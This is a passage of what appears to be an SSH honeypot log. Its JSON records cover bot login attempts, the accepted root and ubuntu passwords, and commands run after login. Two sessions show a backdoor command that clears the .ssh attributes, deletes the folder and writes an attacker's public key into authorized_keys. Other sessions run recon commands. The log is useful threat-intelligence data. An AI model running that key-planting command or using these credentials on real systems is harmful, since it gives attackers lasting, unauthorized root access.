    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

190.103.30.34

2026-09-18 17:14:11.158011 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a5cfdd8e9e55

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "a5cfdd8e9e55",
  "src_ip": "190.103.30.34",
  "start_time": "2026-09-18T17:14:11.158011Z",
  "end_time": "2026-09-18T17:14:11.161517Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

130.250.189.162

2026-09-18 17:13:25.523744 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aol.comnboen

Record ID: 4360c2aa9c4e

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "4360c2aa9c4e",
  "src_ip": "130.250.189.162",
  "start_time": "2026-09-18T17:13:25.523744Z",
  "end_time": "2026-09-18T17:13:27.586957Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "aol.comnboen",
      "pass": "Ian8514"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

190.103.30.34

2026-09-18 17:12:01.293765 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0f3f1d1a21f3

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "0f3f1d1a21f3",
  "src_ip": "190.103.30.34",
  "start_time": "2026-09-18T17:12:01.293765Z",
  "end_time": "2026-09-18T17:12:01.297205Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

77.90.185.16

2026-09-18 17:11:23.109391 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 90501f5e0db8

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "90501f5e0db8",
  "src_ip": "77.90.185.16",
  "start_time": "2026-09-18T17:11:23.109391Z",
  "end_time": "2026-09-18T17:11:23.280712Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

173.212.245.93

2026-09-18 17:10:21.185209 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / sljc0913!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: 76a19e1522d5

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "76a19e1522d5",
  "src_ip": "173.212.245.93",
  "start_time": "2026-09-18T17:10:21.185209Z",
  "end_time": "2026-09-18T17:10:22.315816Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "sljc0913!"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

134.209.27.85

2026-09-18 17:08:29.584119 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / sljc0913

Record ID: 2a0d25d57ba0

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2a0d25d57ba0",
  "src_ip": "134.209.27.85",
  "start_time": "2026-09-18T17:08:29.584119Z",
  "end_time": "2026-09-18T17:08:30.289288Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "sljc0913"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.139.236.70

2026-09-18 17:05:02.427397 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Ianboen2020

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a 2>/dev/null

Record ID: 23900ec11517

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "23900ec11517",
  "src_ip": "103.139.236.70",
  "start_time": "2026-09-18T17:05:02.427397Z",
  "end_time": "2026-09-18T17:05:04.741481Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Ianboen2020"
  },
  "commands": [
    "uname -a 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

188.43.28.193

2026-09-18 17:04:45.991213 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / ianboen@2022

Record ID: 2c958aa4d7a6

Client Version: SSH-2.0-Go

Engagement Duration: 5.5s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "2c958aa4d7a6",
  "src_ip": "188.43.28.193",
  "start_time": "2026-09-18T17:04:45.991213Z",
  "end_time": "2026-09-18T17:04:51.456677Z",
  "duration": "5.5",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "ianboen@2022"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

49.12.195.235

2026-09-18 16:55:32.391804 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 375bfd9d3ee2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "375bfd9d3ee2",
  "src_ip": "49.12.195.235",
  "start_time": "2026-09-18T16:55:32.391804Z",
  "end_time": "2026-09-18T16:55:33.394250Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

49.12.195.235

2026-09-18 16:55:30.242995 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: cc9d44caf6fb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cc9d44caf6fb",
  "src_ip": "49.12.195.235",
  "start_time": "2026-09-18T16:55:30.242995Z",
  "end_time": "2026-09-18T16:55:32.235536Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

49.12.195.235

2026-09-18 16:55:28.182270 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 989898

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: ac3949a9d19f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ac3949a9d19f",
  "src_ip": "49.12.195.235",
  "start_time": "2026-09-18T16:55:28.182270Z",
  "end_time": "2026-09-18T16:55:33.390927Z",
  "duration": "5.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "989898"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

49.12.195.235

2026-09-18 16:54:24.237788 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: d4e7f5724875

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d4e7f5724875",
  "src_ip": "49.12.195.235",
  "start_time": "2026-09-18T16:54:24.237788Z",
  "end_time": "2026-09-18T16:54:25.231462Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

49.12.195.235

2026-09-18 16:54:22.094481 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 95400a1f1598

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "95400a1f1598",
  "src_ip": "49.12.195.235",
  "start_time": "2026-09-18T16:54:22.094481Z",
  "end_time": "2026-09-18T16:54:24.082633Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

49.12.195.235

2026-09-18 16:54:20.018226 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Admin_1234

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: aa7f5bf03156

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "aa7f5bf03156",
  "src_ip": "49.12.195.235",
  "start_time": "2026-09-18T16:54:20.018226Z",
  "end_time": "2026-09-18T16:54:25.227543Z",
  "duration": "5.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Admin_1234"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}